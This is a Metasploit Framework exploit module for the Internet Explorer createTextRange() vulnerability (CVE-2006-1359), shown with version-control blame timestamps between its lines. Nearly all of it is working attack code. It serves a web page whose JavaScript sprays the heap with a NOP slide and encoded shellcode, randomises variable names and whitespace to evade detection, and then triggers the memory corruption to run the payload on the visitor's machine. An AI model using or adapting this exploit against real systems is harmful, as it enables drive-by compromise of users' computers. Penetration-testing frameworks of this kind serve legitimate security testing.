2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-12-17 02:34:27 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2006-12-17 02:34:27 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2006-12-17 02:34:27 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Internet Explorer createTextRange() Code Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
|
|
|
|
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
|
2006-12-17 02:34:27 +00:00
|
|
|
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
|
|
|
|
to a very remote, non-existent memory location. This module is the result of merging three
|
|
|
|
different exploit submissions and has only been reliably tested against Windows XP SP2.
|
|
|
|
This vulnerability was independently discovered by multiple parties. The heap spray method
|
|
|
|
used by this exploit was pioneered by Skylined.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2006-12-17 02:34:27 +00:00
|
|
|
'Faithless <rhyskidd [at] gmail.com>',
|
|
|
|
'Darkeagle <unl0ck.net>',
|
|
|
|
'hdm',
|
|
|
|
'<justfriends4n0w [at] yahoo.com>',
|
2012-05-26 20:23:09 +00:00
|
|
|
'Unknown',
|
2006-12-17 02:34:27 +00:00
|
|
|
],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2006-12-17 02:34:27 +00:00
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
['CVE', '2006-1359'],
|
2006-12-17 02:34:27 +00:00
|
|
|
['OSVDB', '24050'],
|
2010-09-20 08:06:27 +00:00
|
|
|
['MSB', 'MS06-013'],
|
2006-12-17 02:34:27 +00:00
|
|
|
['BID', '17196'],
|
2010-07-03 01:09:32 +00:00
|
|
|
['US-CERT-VU', '876678'],
|
2006-12-17 02:34:27 +00:00
|
|
|
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
|
|
|
|
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
|
|
|
|
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
|
|
|
|
['URL', 'http://www.shog9.com/crashIE.html'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
|
2006-12-17 08:03:43 +00:00
|
|
|
[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-17 02:34:27 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Mar 19 2006'))
|
2006-12-17 02:34:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
# Encode the shellcode
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-17 02:34:27 +00:00
|
|
|
# Create some nops
|
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
|
|
|
|
|
|
# Generate a random XML namespace for VML
|
2007-03-01 08:21:36 +00:00
|
|
|
xmlns = rand_text_alpha(rand(30)+2)
|
2006-12-17 02:34:27 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# Randomize the javascript variable names
|
2006-12-17 02:34:27 +00:00
|
|
|
rnd = rand(3)
|
|
|
|
var_inputtype = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
|
2007-03-01 08:21:36 +00:00
|
|
|
var_inp = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_tmp = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_payload = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_nopslide = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_slidesize = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_fillblock = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_memblock = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_heap = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_index = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_start = "_"+rand_text_alpha(rand(6)+3)
|
|
|
|
var_timer = "_"+rand_text_alpha(rand(6)+3)
|
2006-12-17 02:34:27 +00:00
|
|
|
rnd = rand(2)
|
|
|
|
var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
|
|
|
|
var_setInterval = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-17 02:34:27 +00:00
|
|
|
# Build out the message
|
2010-04-30 08:40:19 +00:00
|
|
|
content = %Q|<html>
|
|
|
|
<head>
|
|
|
|
<script language = "javascript">
|
2011-03-17 04:40:36 +00:00
|
|
|
var #{var_payload} = unescape("#{shellcode}");
|
2010-04-30 08:40:19 +00:00
|
|
|
var #{var_nopslide} = unescape("#{nops}");
|
|
|
|
var #{var_slidesize} = 20+#{var_payload}.length;
|
|
|
|
while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
|
|
|
|
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
|
|
|
|
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});
|
|
|
|
while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }
|
|
|
|
var #{var_heap} = new Array();
|
|
|
|
var #{var_index} = 0;
|
|
|
|
var #{var_maxIndex} = 2020;
|
|
|
|
function #{var_fillHeap}() {
|
|
|
|
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);
|
|
|
|
if (#{var_index}<#{var_maxIndex}) {
|
|
|
|
#{var_heap}.push(#{var_memblock}+#{var_payload});
|
|
|
|
#{var_index}++;
|
|
|
|
#{var_setTimeout}
|
|
|
|
} else {
|
|
|
|
#{var_timer}.innerHTML = 100;
|
|
|
|
#{var_inp} = document.createElement("input");
|
|
|
|
#{var_inp}.type = "#{var_inputtype}";
|
|
|
|
#{var_tmp} = #{var_inp}.createTextRange();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function #{var_start}() {
|
|
|
|
#{var_setTimeout}#{var_setInterval}
|
|
|
|
}
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body onload="#{var_start}()">
|
|
|
|
<span id="#{var_timer}"> % </span>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
2006-12-17 02:34:27 +00:00
|
|
|
|
2008-04-25 05:29:29 +00:00
|
|
|
content = Rex::Text.randomize_space(content)
|
2006-12-17 02:34:27 +00:00
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2006-12-17 02:34:27 +00:00
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
send_response_html(cli, content)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-04 04:34:17 +00:00
|
|
|
# Handle the payload
|
2010-04-30 08:40:19 +00:00
|
|
|
handler(cli)
|
2006-12-17 02:34:27 +00:00
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|